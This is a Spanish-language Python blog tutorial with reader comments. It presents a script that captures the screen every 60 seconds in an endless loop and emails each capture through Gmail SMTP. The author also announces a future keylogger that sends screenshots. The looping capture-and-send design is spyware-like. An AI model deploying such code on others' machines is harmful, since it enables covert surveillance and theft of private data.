Screenshot y envio de correo con Python
Screenshot y envío de correo con Python |
La idea de esta entrada es mostrarles como hacer capturas de pantalla (screenshot) y luego enviarlas adjuntas por correo.
Ya hace un tiempo publique como enviar un correo electrónico con Python, si no sabes como, puedes visitar la entrada y familiarizarte con el tema. Hoy aparte, aprenderemos a enviar imágenes adjuntas.
También les dejo en enlace de GitHub por si quieren clonarlo y hacerle sus propias modificaciones: https://github.com/DiegoCaraballo/ScreenShot-y-Envio-de-Correo-con-Python.git
Librerías que deberías tener instaladas para que funciones el script:
- Autopy
- Las demás librerias (os, time, smtplib) ya vienen con python
Las pruebas las realice en un sistema Linux (Ubuntu) y el servidor de correo Gmail. Algo que me paso y es muy importante para que funcione el scritp, fue que al ejecutar el scritp por primera vez me llego un correo de un inicio de sesión sospechoso, le tuve que dar "permitir acceso", de lo contrario no llegaban los correos con las capturas de pantalla.
En los comentarios del código se explica cada paso:
#!/usr/bin/python # -*- coding: utf-8 -*- # Sitio: https://www.pythondiario.com # Autor: Diego Caraballo # Captura de pantalla y envio de correo import smtplib # importamos librerias para construir el mensaje from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText #importamos librerias para adjuntar from email.MIMEBase import MIMEBase from email import encoders import os import autopy import time def capture(): # capturamos la pantalla screen = autopy.bitmap.capture_screen() screen.save("/home/diego/captura.png") def mail(): # definimos los correo de remitente y receptor ##se envia un mail a addr_to = 'pythondiario@gmail.com' ##el mail sale desde el correo addr_from = 'pythondiario@gmail.com' # Define SMTP email server details smtp_server = 'smtp.gmail.com:587' smtp_user = 'pythondiario@gmail.com' smtp_pass = '***********' # Construimos el mail msg = MIMEMultipart() msg['To'] = addr_to msg['From'] = addr_from msg['Subject'] = 'Prueba' #cuerpo del mensaje en HTML y si fuera solo text puede colocar en el 2da parametro 'plain' msg.attach(MIMEText('Envio de captura de pantalla','html')) #adjuntamos la captura de pantalla ##cargamos el archivo a adjuntar fp = open('/home/diego/captura.png','rb') adjunto = MIMEBase('multipart', 'encrypted') #lo insertamos en una variable adjunto.set_payload(fp.read()) fp.close() #lo encriptamos en base64 para enviarlo encoders.encode_base64(adjunto) #agregamos una cabecera y le damos un nombre al archivo que adjuntamos puede ser el mismo u otro adjunto.add_header('Content-Disposition', 'attachment', filename='pruta.png') #adjuntamos al mensaje msg.attach(adjunto) # inicializamos el stmp para hacer el envio server = smtplib.SMTP(smtp_server) server.starttls() #logeamos con los datos ya seteados en la parte superior server.login(smtp_user,smtp_pass) #el envio server.sendmail(addr_from, addr_to, msg.as_string()) #apagamos conexion stmp server.quit() #esto lo puse de prueba para saber que llegaba hasta aca y salia el correo print "Se envió el correo" def main(): while True: # hacemos la captura capture() # Enviamos el correo mail() # Tiempo en segundos entre re-envios time.sleep(60) main()
Si todo salio bien, ya deberían estar recibiendo correos con las capturas de pantalla del equipo donde se ejecutó el scritp.
En la próxima entrega me gustaría poder subir un Keylogger hecho en python donde además de capturar las teclas ingresadas por el usuario, se envien capturas de pantalla.
Toda sugerencia o comentario siempre es bienvenido.
Saludos, Diego.
-
-
Excelente. Gracias por visitar el blog!!!
-
-
¿Y usar Google Drive para almacenar las capturas en vez de usar las mismas credenciales de una cuenta Google Mail? Por ejemplo, ordenando por año/mes/día
-
Sería una muy buena opción. Investigo y lo publico. Saludos y gracias por visitar el blog.
-
-
Excelente pagina pythondiario! gracias por tus aportes
-
Gracias Mauri 😉
-
-
Este comentario ha sido eliminado por el autor.
-
no me ha funcionado en windows
-
Hola, si puedes describir el error quizá pueda ayudarte!!
Saludos
-
-
hola amigo, mira tengo error al tratar de instalar el modulo de autopy, utilizo una raspberry pi 3 con raspbian
-
Hola Jose, como estas? gracias por visitar el blog!!!
Puedes decirme cual es el error?
Saludos
-
-
Hola a mi me gustaria saber como puedo capturar video de mi pantalla en hd con python 3
-
Hola en el smtp_pass tengo que poner la contraseña de mi cuenta de correo?
si es asi tengo que buscar la configuracion de smtp de mi servidor de correos?
Deja una respuesta
Interesante muchas gracias.. Hoy por esta lectura aprendí algo nuevo. Gracias